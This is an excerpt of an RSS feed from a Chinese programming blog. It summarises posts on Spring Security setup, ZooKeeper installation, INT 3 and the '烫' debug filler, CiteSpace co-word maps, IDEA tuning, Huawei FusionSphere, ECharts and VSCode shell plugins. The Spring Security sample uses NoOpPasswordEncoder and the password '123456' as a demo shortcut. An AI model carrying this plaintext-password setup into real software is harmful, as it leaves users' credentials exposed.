      <description>Spring Security的基本配置 1. 基本用法 1.1 创建项目，添加依赖 创建一个Spring Boot Web 项目，然后添加spring-boot-starter-security依赖。&#xA;&amp;lt;!-- security --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-security&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; 1.2 添加hello接口 在项目中添加一个简单的/hello接口，内容如下：&#xA;@RestController public class HelloController { @GetMapping(&#34;/hello&#34;) public String hello(){ return &#34;Hello&#34;; } } 1.3 启动项目测试 访问/hello接口会自动跳转到登录页面，这个页面有Spring Security提供的。&#xA;默认的用户名是user，默认的登录密码在每次启动项目随机生成，查看项目日志：&#xA;2. 配置用户名和密码 在application。properties中配置默认的用户名、密码以及用户角色。&#xA;spring.security.user.name=chen spring.security.user.password=123456 spring.security.user.roles=admin 3. 基于内存的认证 开发者可以自定义类继承WebSecurityConfigurerAdapter，进而实现对Spring Security更多的自定义配置。例如基于内存的认证。&#xA;@Configuration public class MyWebSecurityConfig extends WebSecurityConfigurerAdapter { @Bean PasswordEncoder passwordEncoder(){ return NoOpPasswordEncoder.getInstance(); } @Override protected void configure(AuthenticationManagerBuilder auth) throws Exception { auth.</description>
    </item>
    <item>
      <title>CentOS 7安装zookeeper</title>
      <link>https://bchobby.github.io/posts/904f31f26633d88cf5aeaef2452944b8/</link>
      <pubDate>Sun, 21 Aug 2022 15:00:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/904f31f26633d88cf5aeaef2452944b8/</guid>
      <description>单机安装 CentOS 7环境单机安装zookeeper 1、下载ZK zookeeper下载页面：https://zookeeper.apache.org/releases.html&#xA;这里下载二进制版本，不需要编译, 以安装路径 /usr/local/soft 为例&#xA;cd /usr/local/soft wget https://mirror.bit.edu.cn/apache/zookeeper/zookeeper-3.7.1/apache-zookeeper-3.7.1-bin.tar.gz 2、解压 tar -xzvf apache-zookeeper-3.7.1-bin.tar.gz 3、修改配置文件 进入conf目录并拷贝zoo_sample.cfg改名为zoo.cfg&#xA;cd apache-zookeeper-3.7.1-bin/conf cp zoo_sample.cfg zoo.cfg 端口号默认2181，配置文件zoo.cfg里面的dataDir要修改，如果不改，需要创建这个目录 mkdir -p /tmp/zookeeper&#xA;mkdir -p /usr/local/zookeeper/apache-zookeeper-3.7.1-bin/data tickTime=2000 initLimit=10 syncLimit=5 dataDir=/usr/local/zookeeper/apache-zookeeper-3.7.1-bin/data clientPort=2181 4、配置zk环境变量 配置后在任意目录之下可以使用bin中的命令&#xA;vim /etc/profile # 文件末尾增加如下配置 export ZOOKEEPER_HOME=/usr/local/soft/apache-zookeeper-3.7.1-bin export PATH=$PATH:$ZOOKEEPER_HOME/bin # 让profile文件生效 source /etc/profile 如果没有安装jdk，需要先安装jdk并通过vi /etc/profile命令配置java环境变量&#xA;export JAVA_HOME=/usr/local/java/jdk1.8.0_131 export JRE_HOME=$JAVA_HOME/jre export CLASSPATH=$JAVA_HOME/lib:$JRE_HOME/lib:$CLASSPATH export PATH=$JAVA_HOME/bin:$JRE_HOME/bin:$PATH export ZOOKEEPER_HOME=/usr/local/soft/apache-zookeeper-3.7.1-bin export PATH=$PATH:$ZOOKEEPER_HOME/bin 5、启动ZK 进入到apache-zookeeper-3.6.1-bin的bin文件夹，查看启动脚本zkServer.sh&#xA;./zkServer.sh help zkServer.sh start # 启动 zkServer.</description>
    </item>
    <item>
      <title>从未初始化的字符串说起</title>
      <link>https://bchobby.github.io/posts/e78f975fd9a9c77f4f27d1bd39d0ff70/</link>
      <pubDate>Sun, 21 Aug 2022 08:29:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e78f975fd9a9c77f4f27d1bd39d0ff70/</guid>
      <description>我们在用C/C++编写程序的时候，尤其是新手，经常犯的错误就是忘记对变量进行初始化。如果一个字符串没有初始化，在调试的时候，会看到如下奇怪的事情&#xA;说到这，让我想起之前在网上看到的一个段子：&#xA;话说，有位仁兄读大学的时候学习C语言课程，有一次他在编写程序的时候忘记给一个字符串赋值，结果在打印字符串的时候，屏幕上出现了一大堆“烫烫烫烫”的字符串，让他大吃一惊。他以为是计算机温度过高，向他发出警报，于是立马关掉计算机，并感慨计算机的智能。&#xA;读到这个段子，也不禁也让我想起，在我初学C的时候，也犯过同样的错误，而且还告诉老师计算机在报警。&#xA;那么，未初始化的字符串在调试模式下为什么会显示“烫”呢？我们来说道说道。&#xA;一、INT 3 这里说的可不是一个整形值3，而是一条指令。从8086开始，Intel就在其产品中提供了一条专门用来支持调试的指令INT 3，这条指令的目的就是使CPU中断到调试器，使软件开发者对程序进行各种分析。&#xA;怎么使用呢？很简单，就是在需要调试的地方插入一条INT 3指令，当程序运行到此的时候，就会停下来，比如这样：&#xA;int main() { char s[50]; __asm int 3; std::cout &amp;lt;&amp;lt; &#34;INT 3&#34; &amp;lt;&amp;lt; std::endl; return 0; } 当程序执行到此时，在VS2022中会弹出这样一个窗口提示&#xA;我们点击窗口右上角的绿色三角，可以继续执行程序 ，最后程序输出&#xA;以上是编译的32位程序，如果是64位，不支持__asm指令的，那怎么办呢？可以用一个函数替代，__debugbreak()&#xA;int main() { char s[50]; __debugbreak(); std::cout &amp;lt;&amp;lt; &#34;INT 3&#34; &amp;lt;&amp;lt; std::endl; return 0; } 其实看__debugbreak()的汇编代码会发现，它就是一条int 3指令 __debugbreak();&#xA;00007FF72D5E24AC int 3 这个INT 3指令的机器码为0xCC，而0xCCCC刚好又是汉字“烫”的字符码，这下知道，“烫”是怎么来的了 二、为什么要使用它设置断点 我们经常使用的代码编译器VS，下断点是非常容易的，指定某一行，按F9就下了一个断点，或者在WinDbg中，在成功加载程序调试符号的情况下，也可以使用bp命令设置断点，这个指令似乎用不上。&#xA;就我使用到的场景，一般都是在驱动调试的时候。现在的VS调试驱动比十几年前方便太多了，那个时候，绝大部分都是通过WinDbg与虚拟机进行双机调试（多年前养成的习惯，现在也是喜欢如此调试，因为WinDbg可观察的东西太多了），为了让WinDbg调试器能够中断下来，就会使用这条指令。&#xA;其次，在客户机没有安装VS的时候，要在客户机上调试程序，也可以通过这种形式让程序在可能出问题的地方断下来，然后远程挂上调试器进行调试。&#xA;三、INT 3的一些特殊用途 为什么在调试模式下，对未赋值的字符串或者未初始化的内存赋值为0xCC呢？这其实是编译器故意这样做的。当遇到缓冲区溢出的时候（也就是指针超出了字符串的区域），指针正好指向这些区域，就会触发断点从而中断到调试器，这样开发人员就知道程序哪里出了问题。&#xA;再者，当我们在看某一个函数的汇编代码时，也会发现INT 3的踪影，比如以下汇编代码片段：&#xA;int main() { 00007FF7FC3D2150 push rbp 00007FF7FC3D2152 push rdi 00007FF7FC3D2153 sub rsp,158h 00007FF7FC3D215A lea rbp,[rsp+20h] 00007FF7FC3D215F lea rdi,[rsp+20h] 00007FF7FC3D2164 mov ecx,1Eh 00007FF7FC3D2169 mov eax,0CCCCCCCCh 00007FF7FC3D216E rep stos dword ptr [rdi] 00007FF7FC3D2170 lea rcx,[__39878DF1_main@cpp (07FF7FC3E3001h)] 00007FF7FC3D2177 call __CheckForDebuggerJustMyCode (07FF7FC3D13DEh) char s[50]; __debugbreak(); 00007FF7FC3D217C int 3 return 0; 00007FF7FC3D217D xor eax,eax } 00007FF7FC3D217F mov edi,eax 00007FF7FC3D2181 lea rcx,[rbp-20h] 00007FF7FC3D2185 lea rdx,[__xt_z+1B0h (07FF7FC3DAC50h)] 00007FF7FC3D218C call _RTC_CheckStackVars (07FF7FC3D1366h) 00007FF7FC3D2191 mov eax,edi 00007FF7FC3D2193 lea rsp,[rbp+138h] 00007FF7FC3D219A pop rdi 00007FF7FC3D219B pop rbp 00007FF7FC3D219C ret 00007FF7FC3D219D int 3 00007FF7FC3D219E int 3 00007FF7FC3D219F int 3 00007FF7FC3D21A0 int 3 00007FF7FC3D21A1 int 3 00007FF7FC3D21A2 int 3 00007FF7FC3D21A3 int 3 00007FF7FC3D21A4 int 3 00007FF7FC3D21A5 int 3 00007FF7FC3D21A6 int 3 00007FF7FC3D21A7 int 3 当函数结束的时候，会插入大量的int 3指令，这样做有两个目的：其一，来进行函数的内存对齐；其二，防止栈溢出。</description>
    </item>
    <item>
      <title>CiteSpace关键词共现图谱含义详细解析与注意事项</title>
      <link>https://bchobby.github.io/posts/acc7a2d9f3a39c3f5a7ba5fffd56cf9a/</link>
      <pubDate>Sun, 21 Aug 2022 07:57:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/acc7a2d9f3a39c3f5a7ba5fffd56cf9a/</guid>
      <description>​本文以CiteSpace软件做的关键词共现分析为例，进行关键词共现图谱含义详细解析。作者、机构、国家、学科(COOC软件可做)等网络分析与此类似。&#xA;关键词是一篇论文的核心概括，对论文关键词进行分析可对文章主题窥探一二。&#xA;而一篇论文给出的几个关键词一定存在着某种关联，而这种关联可以用共现的频次来表示。一般认为，词汇对在同一篇文献中出现的次数越多，则代表这两个主题的关系越紧密。&#xA;共词分析法利用文献集中词汇对或名词短语共同出现的情况，来确定该文献集所代表学科中各主题之间的关系。&#xA;统计一组文献的主题词两两之间在同一篇文献出现的频率，便可形成一个由这些词对关联所组成的共词网络。&#xA;CiteSpace做的图谱并不是用的原共现矩阵，而是在原矩阵的基础上通过COSINE，PMI，DICE和JACCARD标准化后的矩阵，然后利用它们进行网络可视化，至于具体使用哪种标准化，这里就要发挥人的主观能动性啦，即反复比较，观看图谱找出最符合实际情况的标准化方法。一般默认都使用COSINE余弦相似度。也有一些研究常用相异矩阵，此时可借助COOC软件计算。&#xA;所以，本质上你在做图谱前已经对该领域有所了解了，否则你无法对图谱进行有效解读，且你并不知道那个图更好! 对于刚进入领域的研究小白来说最快速的方法就是看几篇综述型文章，以达到对该领域有个大概印象。&#xA;那反过来说，既然你对该研究领域已经有了解了，为什么还要再做图谱呢？&#xA;个人认为你的图谱除了能发论文，写报告等任务外，还有两个原因：&#xA;其一从自身角度来看：做出的图谱会修正你之前对该领域的理解，因为你之前的理解可能并不全面，存在遗漏且较为主观。而以数据为驱动的方法能够客观的展示领域发展的现状、趋势和前沿，达到以主观去理解客观，再以客观去修正完善主观的功效，最后主观与客观相统一，从而让你对领域的认识更加科学、客观、全面。&#xA;其二从他人角度来看：做出的图谱能够让那些不了解本领域的人花费最少的时间精力入门本领域。&#xA;下面看图吧！&#xA;如下图所示，此图由CiteSpace生成的关键词共现网络。与利用Ucinet软件或者Gephi软件绘制出来的共现网络图本质是相同的，就是由节点和边构成的网络罢了。&#xA;首先，我们可以通过左上角的参数看到网络的节点数、边数和网络密度。&#xA;其中节点数就是图中的关键词个数，边数就是关键词之间的连线数。只要关键词在同一篇文献中出现过，两者之间就会有一条连线。【PS.当然与你设置的每个时间切片提取的关键词个数有关系。】&#xA;图中圆圈大小代表的是关键词频次，频次越大，圆圈越大。Ucinet软件或者Gephi软件可以很方便的使用点度中心性、接近中心性、中间中心性和特征向量中心性等属性表征节点大小。(NSS视频理论部分已经详细讲解这些中心性的含义：[软件+教程] NSS2.2一款用于网络科学与知识图谱服务的软件)&#xA;但是请记住：CiteSpace软件统计的这个频次并不是导入的数据中的总频次，而是阈值设置后的频次，所以列表中的频次应该小于等于真实频次，一般是小于。如果想统计真实准确的频次可以使用COOC软件。但是很多人并不清楚，在论文中错误地认为这个频次是总频次。&#xA;另外，特别注意，在利用CiteSpace进行分析时需要进行数据清洗工作，利用清洗后的数据做与不清洗直接做存在一定误差。可利用COOC软件进行清洗，然后再利用CiteSpace作图，结果就非常准确了。&#xA;线条代表关键词之间的联系，线条颜色与图中上方年份相对应，用于标志每一年有哪些主要关键词。&#xA;左侧列表除了关键词频次和中心性外还有关键词初次出现年份，这个时间非常重要，它会在时区图和时间线图密切相关。&#xA;从这个图中我们可以获取什么信息呢？&#xA;还是回到了共词分析的原理上：共词分析法利用文献集中词汇对或名词短语共同出现的情况，来确定该文献集所代表学科中各主题之间的关系。&#xA;我们目的是为了获得学科中各主题之间的关系，而主题使用关键词表示的，本质就是关键词之间的联系，所以又返回去了，我们本质就获得了关键词之间的联系。联系紧密的关键词会相对形成一个个小的团体，进而我们可以将这个小团体中的关键词进行归纳总结，总结出一个个主题，然后对主题进行详细论述。其实本质就是聚类分析啦！只是过程是人工的而已！&#xA;当然CiteSpace软件自身也具有聚类的功能，下节课再讲。&#xA;提醒一下：当人工已经可以很容易的进行归纳后，就不需要再利用CiteSpace聚类功能啦。&#xA;该功能是在你看不清，看不懂共现图谱的时候用一下，辅助你了解的。结果往往并不总是十分理想。但是人工往往很难辨别清楚，所以还需要利用CiteSpace的自动聚类功能。除CiteSpace可做聚类分析外，Ucinet、Gephi、VOSviewer、Pajek等软件均可做聚类图谱分析，效果也很好，如果要是做文献计量，往往需要结合COOC软件。&#xA;注意事项&#xA;关键词共现网络相当于你进入文献计量领域做出的第一个有点难度的图。&#xA;有哪些事项需要注意呢？&#xA;【1】文献检索问题&#xA;文献计量第一步就是检索文献数据，在此过程中我们要尽量找全目标领域的同义词，尽量提高查全率。当然，同时也要考虑查准率。这两个基本呈现对立关系，一般查全率提高了，查准率就会降低，需要检索人员反复测试，构建合适的检索式。&#xA;怎么才叫合适的检索式呢？&#xA;我的经验是：&#xA;如果文献量特别的大，可以选择标题OR关键词检索，此时查准率高；&#xA;如果文献量不是很多，可以选择主题检索，此时查全率高。&#xA;【2】数据清洗问题&#xA;做文献计量必须进行数据清洗，所有不进行数据清洗的文献计量就是ZJ。&#xA;计算机界有一个很有名的说法，叫“Garbage In Garbage Out)，翻译成汉语就是“垃圾进、垃圾出”，即用胡乱选择的垃圾数据作分析，产生的研究结果自然也没有任何意义。&#xA;因为从中国知网、Web of Science等数据库里检索出的数据存在与目标领域不相关的文献或不是真正的论文，如有些是编辑部的通知、公告、选题指南等，如果不进行数据清洗将导致结果不准确。而目前已知软件(COOC除外)，均不具备数据清洗功能。COOC软件可将清洗后的数据转化为CiteSpace和VOSviewer等软件可识别的格式。所以，以后再做文献计量所用的软件应该是COOC+CiteSpace或者COOC+VOSviewer。&#xA;【3】文献去重问题&#xA;中国知网、Web of Science等数据库中存在重复的数据，所以在进行文献计量分析时首先需要对数据进行去重，这也是文献计量中必不可少的一步，而很多研究中并没有这一步，可使用COOC软件进行解决。&#xA;【4】关键词合并与删除问题&#xA;不同的作者由于习惯常用不同的关键词表示同一个含义，如“科研数据管理”、“科学数据管理”、“研究数据管理”等是同义词关系，这种情况就需要合并同义词了；此外在做文献计量分析时网络中会出现一些无意义的词，如“综述”、“进展”等，此时需要进行删除。如何快速有效的批量进行关键词的合并与删除也是一大难题，可使用COOC软件进行解决。&#xA;【5】关键词缺失问题问题&#xA;这个问题很隐蔽，如果你的论文直接使用CiteSpace、VOSviewer等软件绘制图谱，那么你永远也不可能发现这个问题。因为这些软件是直接把下载的题录数据导入软件进行的分析，当文献缺失关键词时也不会有所提示，使用者无法判断下载的文献是否缺失关键词。&#xA;这个问题如何解决呢？&#xA;目前没有好的办法，其一：放任不管；其二：利用COOC软件找到这些缺失关键词的文献，然后一篇篇找到原文进行补充，当总数据量不多时，建议进行补充，否则会严重影像件结果。&#xA;那么问题来了，问什么会缺失关键词呢？&#xA;其一：有些论文真的本来就没有关键词；&#xA;其二：各大数据库收录统计时少部分缺失未完全统计&#xA;拓展&#xA;共现分析的方法论基础是心理学的邻近联系法则和知识结构及映射原则。心理学的邻近联系法则是指曾经在一起感受过的对象往往在想象中也联系在一起，以致于想起它们中的某一个的时候，其他的对象也会以曾经同时出现时的顺序想起。&#xA;我们常说的关键词共现、作者共现、机构共现、国家共现都是共现分析的一种。&#xA;只不过依据分析对象的不同，作者共现称为作者合作网络、机构共现称为机构合作网络、国家共现称为国家合作网络而已…&#xA;一句话，正如我们在课程中所讲的一样，上述所有的分析本质上就是共现分析。</description>
    </item>
    <item>
      <title>三招彻底解决IDEA卡顿问题</title>
      <link>https://bchobby.github.io/posts/ae041fc9c8b92b0cbbbe1569e815f12d/</link>
      <pubDate>Sun, 21 Aug 2022 00:10:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ae041fc9c8b92b0cbbbe1569e815f12d/</guid>
      <description> 第一次使用IDEA软件，卡到怀疑人生，查阅资料无数，做此总结，希望能帮到需要的人。&#xA;1.首先，安装IDEA软件后，自动生成的桌面启动方式都是32位的，如果你是64位系统，我们使用这个快捷方式运行大项目，一般都会很卡&#xA;解决方案：找到idea的安装目录，然后进入bin文件夹，找到名称为idea64的应用程序，右键他生成桌面快捷方式。以后每次启动都用它这个快捷方式就可以了。&#xA;2.IDEA默认启动配置，一款软件它要考虑低配置用户，所以初始化参数不高（默认最低128m，最高512m），导致启动慢，然后运行也不流畅。&#xA;解决方案： 找到idea安装目录下的bin文件夹下的idea.exe.vmoptions文件！&#xA;idea.exe.vmoptions：默认32位机器运行的&#xA;idea64.exe.vmoptions：默认64位机器运行的&#xA;手动修改&#xA;关键的三个参数的说明 1、 -Xms 是最小启动内存参数&#xA;2、 -Xmx 是最大运行内存参数&#xA;3、 -XX:ReservedCodeCacheSize 保留代码占用的内存容量参数&#xA;手动修改&#xA;-Xms=1024m&#xA;-Xmx=2048m&#xA;-XX:ReservedCodeCacheSize =300m&#xA;3.软件安装默认会捆绑许多插件&#xA;解决方案：打开软件-设置-插件&#xA;禁Java开发无关的插件，例如：google的app，前端的js框架 等插件可以卸载掉项目中根本不用不到的一些框架，Struts，Hibernate,Ant 等可以卸载。&#xA;如上就是我解决idea卡顿的主要几种情况，另外建议安装idea软件的电脑内存最好在8G或16G及以上。 </description>
    </item>
    <item>
      <title>HCIE FusionSphere产品解决方案</title>
      <link>https://bchobby.github.io/posts/408896ae9a82cb2f79ee7f4a5f2d59e0/</link>
      <pubDate>Sat, 20 Aug 2022 20:25:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/408896ae9a82cb2f79ee7f4a5f2d59e0/</guid>
      <description>服务器虚拟方案介绍 FusionSphere产品解决方案 服务器虚拟化 FusionSphere&#xA;私有云 FusionCloud&#xA;桌面云 FusionAccess&#xA;服务器虚拟化 FusionSphere = FusionCompute+FusionManger(纳管Vmare)&#xA;服务器虚拟化 6.3 FusionSphere&#xA;6.0 6.1 FusionSphere华为云计算总体解决方案&#xA;3个使用场景&#xA;1.服务器虚拟化 FusionCompute(xen)+FusionManager&#xA;2.云数据中心 FusionCompute（xen）+FusionSphereOpenstack&#xA;3.电信运营商 KVM+FusionSphereOpenstack&#xA;6.3.1 6.5.1&#xA;服务器虚拟化FusionSphere FusionCompte (KVM)+FusionManger&#xA;私有云FusionCloud（6.5以后叫华为云stack） KVM+FusionSphereOpenstack&#xA;场景 电信运营商&#xA;8.0&#xA;桌面云FusionAcess（6.1及以前，叫FusionCloud 6.3以后叫FusionAcess）&#xA;6.5相比6.3 主要增加了IPV6的支持&#xA;8.0相比6.5 主要是增加了对ARM服务器的注册&#xA;华为FusionSphere 6.5 云操作系统架构 FusionSphere 6.5云操作系统架构&#xA;云管理层：FusionManger 对FusionSphere中软件和硬件进行全面监控和 管理运营，实现对其他厂商的异构&#xA;虚拟化层: 华为：FusionCompute（计算虚拟化、存储虚拟化、网络虚拟化）、Fusionstorage（分布式块存储）、eBackup（备份）bcmanager（容灾）等 Vmare（vsphere\san）等&#xA;硬件基础设施层：服务器（计算资源） 储存（储存资源） 路由器、交换机（网络资源） 防火墙、制冷、供电等&#xA;FusionCompute云操作系统软件 CNA：计算节点代理 计算、存储、网络的虚拟化（UCP：华为虚拟化操作系统，6.3以前是XEN架构 6.3.1以后是KVM架构；VNA:虚拟节点代理，代理的是UVP与VRM的通信）&#xA;VRM:对多个CNA主机的资源进行统一管理、分配&#xA;FusionManager 云操作系统管理软件 1.异构虚拟化管理，同时管理华为和非华为（只有VMware）的虚拟化产品，通过FM提供统一的管理界面&#xA;2.软硬件统一管理，同时管理虚拟化软件，硬件，同时管理不同厂商的硬件&#xA;3.提供快捷入口，快速发放虚拟机&#xA;4.不同数据中心的统一管理（top+local）&#xA;5.资源划分（VDC、VPC)&#xA;6.业务的快速发放</description>
    </item>
    <item>
      <title>EChart 多y轴,X轴零点刻度线一致性通用函数</title>
      <link>https://bchobby.github.io/posts/2d4bd64509434b1e2822da93a3841eef/</link>
      <pubDate>Sat, 20 Aug 2022 18:07:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2d4bd64509434b1e2822da93a3841eef/</guid>
      <description>思路已经在本人的上一篇小文章简述过了,不再赘述. 直接上代码&#xA;function AdjustXAxisPosition(op) { var yAxis = op.yAxis; var min, max; nmlMin = 1;// normalization of min nmlMax = -1; var yH = new Array(yAxis.length); for (i = 0; i &amp;lt; yAxis.length; i++) { // normalization ... min = yAxis[i].min; max = yAxis[i].max; yH[i] = max - min; if (yH[i] &amp;lt;= 0) { return op; } min = min / yH[i]; max = max / yH[i]; if (nmlMin &amp;gt; min) { nmlMin = min } if (nmlMax &amp;lt; max) { nmlMax = max } } // reset the min and max of each yAxis .</description>
    </item>
    <item>
      <title>VsCode编辑器之shell脚本的编辑</title>
      <link>https://bchobby.github.io/posts/c92fc55e6672462e863e9292f2b75a1b/</link>
      <pubDate>Sat, 20 Aug 2022 15:12:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c92fc55e6672462e863e9292f2b75a1b/</guid>
      <description>VsCode编辑宇宙之shell脚本的编辑 背景介绍 长期从事.Net开发，一直使用宇宙第一IDE Visual studio系列,VsCode的横空出世，让我又多了一个非常完美的选择，vscode从Python，前端，Golong，MarkDown，shell，qt，c#都有非常完美的插件支持，真的让人爱不释手。本系列将介绍用vscode开发和编辑的常用配置和插件。&#xA;环境介绍&#xA;操作系统：Win10&#xA;VsCode版本：1.46.0&#xA;开干 由于Windows和Linux的系统换行的区别，win是\n\r,而Linux是\n,没有回车符号，所以，Windows环境下编写的Shell脚本一般在Linux系统下运行都会产生各种错误，为了提升我们开发的效率，我们需要一个蹭手的编辑器，那就是VsCode&#xA;首先下载Shell相关的插件&#xA;shellman插件&#xA;提供智能提示和自动补全功能&#xA;shell-format&#xA;脚本代码格式化，不仅支持shell，还支持dockerfile&#xA;shell-format 需要安装shfmt支持&#xA;shfmt 下载地址 https://github.com/mvdan/sh/releases&#xA;将下载好的文件路径记住：D:\LLP Soft\shfmt_v3.5.0_windows_amd64.exe&#xA;ctrl+shift+p 选择首选项（打开用户设置），搜索 shellformat，配置刚才的路径&#xA;回到编辑器中，可以看见效果了。&#xA;ShellCheck&#xA;提供语法检测功能，更快定位问题，对不合法的语法，直接点击提示连接，跳转到问题详细页面，对新手简直不要太友好了&#xA;LF和CRLF&#xA;CRLF：英文全称：Carriage Return Line Feed，即：回车换行。windows 系统环境下的换行方式。&#xA;LF：英文全称：Line Feed，即：换行。Linux 系统环境下的换行方式。&#xA;点击VsCode的下方LF或者CRLF可以自由切换行位的换行符号组合&#xA;全部插件截图&#xA;博客review计划 由于以前很多时候是为了记录一下笔记，有的是为了活动啊之类的，导致很多博客环境不全，代码不全，排版混乱，专栏分类不清楚，所以在开始写新的博客直接，开启review计划。&#xA;review：20220820</description>
    </item>
    <item>
      <title>FusionSphere虚拟化套件简介</title>
      <link>https://bchobby.github.io/posts/a58bb4d040ddc97355463de8ddf3b386/</link>
      <pubDate>Sat, 20 Aug 2022 15:00:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a58bb4d040ddc97355463de8ddf3b386/</guid>
      <description>FusionSphere虚拟化套件简介 华为FusionSphere虚拟化套件是业界领先的虚拟化解决方案，能够帮助客户带来如下的价值，从而大幅提升数据中心基础设施的效率。&#xA;帮助客户提升数据中心基础设施的资源利用率。帮助客户成倍缩短业务上线周期。帮助客户成倍降低数据中心能耗。利用虚拟化基础设施的高可用和强恢复能力，实现业务快速自动化故障恢复，降低数据中心成本和增加系统应用的正常运行时间。 FusionSphere虚拟化套件通过在服务器上部署虚拟化软件，使一台物理服务器可以承担多台服务器的工作。通过整合现有的工作负载并利用剩余的服务器以部署新的应用程序和解决方案，实现较高的整合率。&#xA;应用场景介绍 单虚拟化场景：&#xA;单虚拟化场景适用于企业只采用FusionCompute作为统一的操作维护管理平台对整个系统进行操作与维护的应用场景。包含资源监控、资源管理、系统管理等。&#xA;FusionCompute主要负责硬件资源的虚拟化，以及对虚拟资源、业务资源、用户资源的集中管理。它采用虚拟计算、虚拟存储、虚拟网络等技术，完成计算资源、存储资源、网络资源的虚拟化。同时通过统一的接口，对这些虚拟资源进行集中调度和管理，从而降低业务的运行成本，保证系统的安全性和可靠性。&#xA;多虚拟化场景：&#xA;多虚拟化场景适用于企业有多套虚拟化环境需要进行统一管理。多虚拟化场景提供如下主要功能：&#xA;统一管理和维护：支持同时接入FusionCompute和VMware虚拟化环境，对多虚拟化环境的资源和业务进行统一的管理和维护。统一监控告警：支持对多个虚拟化环境、多种物理设备的告警进行统一接入、监控和管理。 私有云场景：&#xA;私有云场景适用于企业各部门需要各自管理虚拟资源及业务。发放业务时由管理员和租户分别完成不同的任务，共同完成业务的发放。管理资源时，管理员可以对系统所有资源进行管理；租户只能管理所属VDC的资源。&#xA;根据实际使用需求的不同，私有云场景又可分为多租户共享VPC场景和多租户私有VPC场景。&#xA;多租户共享VPC场景&#xA;该场景中，发放业务时管理员通过VDC将虚拟资源分给租户。租户在租户视图，创建虚拟机时可使用管理员在共享VPC中创建的网络。若在创建VDC时，将管理员加入了VDC中，则管理员一人在不同视图中，可完成所有任务。该场景适用于如下情况：&#xA;企业各部门需要各自管理除网络之外的虚拟资源（包含虚拟机、磁盘等）及业务。企业中的网络由管理员统一规划和维护，企业各部门均使用管理员创建的网络。 多租户私有VPC场景&#xA;该场景中，发放业务时管理员通过VDC将虚拟资源分给租户。租户在租户视图，自行创建VPC、网络、虚拟机。当同时有共享网络需求时，可以由管理员创建共享VPC供所有租户使用。若在创建VDC时，将管理员加入了VDC中，则管理员一人在不同视图中，可完成所有任务。该场景适用于如下情况：&#xA;企业各部门需要各自管理虚拟资源（包含网络、虚拟机、磁盘等）及业务。企业各部门的网络相互隔离，各自规划、创建和维护 FusionSphere虚拟化套件的特点和用途 应用按需分配资源 提供虚拟机资源的可扩展能力，使用户可以按照应用需求随时随地调整虚拟机资源，并且无需中断应用。&#xA;虚拟资源SLA保障 提供虚拟机资源的控制能力，使用户可以按照应用的重要程度合理地分配物理资源。&#xA;统一虚拟化数据中心管理 提供虚拟机的创建、部署、转换、迁移等管理能力，并且可以异构管理业界主流的第三方虚拟化平台，从管理层屏蔽虚拟化平台差异，实现统一纳管。&#xA;广泛兼容各种软硬件 支持基于x86硬件平台的多种服务器和兼容多种存储设备，并且可以支持主流的Linux/Windows操作系统运行，支持主流APP运行于虚拟化平台。&#xA;自动化调度 根据预先设定策略进行工作负载的自动迁移，最终使资源分配达到最优比，保证系统良好的用户体验和业务系统的最佳响应。&#xA;完善的权限管理 根据不同的角色、权限等，提供完善的权限管理功能，授权用户对系统内容的资源进行管理。&#xA;应用智能管理 基于完整的审批流程机制提供服务目录和用户自定义模板，方便用户自定义快速部署私有应用。&#xA;完善的计量能力 虚拟化管理系统统计不同用户的资源使用量，方便第三方系统按资源使用计费。&#xA;丰富的运维管理 提供多种运营工具，实现业务的可控、可管，提高整个系统运营的效率。&#xA;云安全 采用多种安全措施和策略，并遵从信息安全法律法规，对用户接入、管理维护、数据、网络、虚拟化等提供端到端的业务保护。&#xA;FusionCompute产品定位 FusionCompute是云操作系统软件，主要负责硬件资源的虚拟化，以及对虚拟资源、业务资源、用户资源的集中管理。它采用虚拟计算、虚拟存储、虚拟网络等技术，完成计算资源、存储资源、网络资源的虚拟化。同时通过统一的接口，对这些虚拟资源进行集中调度和管理，从而降低业务的运行成本，保证系统的安全性和可靠性，协助运营商和企业构筑安全、绿色、节能的云数据中心能力。&#xA;FusionCompute在虚拟化套件中的位置如图1所示。&#xA;图1 FusionCompute定位&#xA;云机房 云机房是指为云数据中心运营所提供的一系列基本配套设施和空间，主要包括供电系统、消防系统、布线系统、制冷系统等。&#xA;华为基于SAFE创新理念，从智能管理（Smart）、高可用性（Availability）、灵活扩展（Flexibility）、高效节能（Efficient）四个方面持续提升数据中心机房竞争力。&#xA;硬件基础设施层 硬件资源包括服务器、存储、网络、安全等全面的云计算基础物理设备，支持用户从中小规模到大规模的新建或扩容，可运行从入门级到企业级的各种企业应用。设备类型丰富，可为客户提供灵活的部署选择。&#xA;FusionStorage Block FusionStorage Block是一种存储与计算高度融合的分布式存储软件，在通用X86服务器上部署该软件后，可以把所有服务器的本地硬盘组织成一个虚拟存储资源池，提供块存储功能。&#xA;FusionSphere虚拟化套件 FusionSphere虚拟化套件通过在服务器上部署虚拟化软件，将硬件资源虚拟化，从而使一台物理服务器可以承担多台服务器的工作。通过整合现有的工作负载并利用剩余的服务器以部署新的应用程序和解决方案，可以实现较高的整合率。&#xA;FusionCompute&#xA;FusionCompute是云操作系统软件，主要负责硬件资源的虚拟化，以及对虚拟资源、业务资源、用户资源的集中管理。它采用虚拟计算、虚拟存储、虚拟网络等技术，完成计算资源、存储资源、网络资源的虚拟化。同时通过统一的接口，对这些虚拟资源进行集中调度和管理，从而降低业务的运行成本，保证系统的安全性和可靠性，协助运营商和企业构筑安全、绿色、节能的云数据中心能力。&#xA;FusionManager&#xA;FusionManager主要对云计算的软件和硬件进行全面的监控和管理，实现自动化资源发放和自动化基础设施运维管理两大核心功能，并向内部运维管理人员提供运营与管理门户。&#xA;eBackup&#xA;eBackup是虚拟化备份软件，配合FusionCompute快照功能和CBT（Changed Block 